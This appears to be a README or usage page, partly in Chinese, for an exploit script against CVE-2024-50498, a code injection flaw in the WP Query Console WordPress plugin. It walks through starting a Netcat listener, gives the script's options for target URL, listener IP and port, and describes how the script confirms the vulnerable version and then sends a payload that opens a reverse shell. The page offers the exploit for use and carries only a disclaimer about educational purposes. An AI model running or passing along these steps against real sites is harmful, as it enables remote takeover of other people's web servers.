LUBUS WP Query Console 中存在生成代码控制不当（'Code Injection'）漏洞，允许代码注入。此问题影响 WP Query Console：从 n/a 到 1.0。
在你的机器上打开一个终端并启动 Netcat 监听器，等待反向 shell 连接。
nc -lvnp <PORT>
usage: CVE-2024-50498.py [-h] -u URL -ip LISTENER_IP -P PORT
wordpress | Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code
Injection.This issue affects WP Query Console: from n/a through 1.0. script Exploit by: Nxploit Khaled_alenazi This script
is provided for educational purposes only. The author is not responsible for any damages caused by the misuse of this
script.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://example.com/wordpress)
-ip LISTENER_IP, --listener_ip LISTENER_IP
Your IP address for listening.
-P PORT, --port PORT Your listening port.
运行命令后，监视 Netcat 终端以获取反向 shell 连接。
该脚本将首先通过查找插件版本来检查目标站点是否存在漏洞。 如果存在漏洞，它将发送一个 payload 以触发反向 shell。 如果成功，请检查你的 Netcat 终端以获取 shell 连接。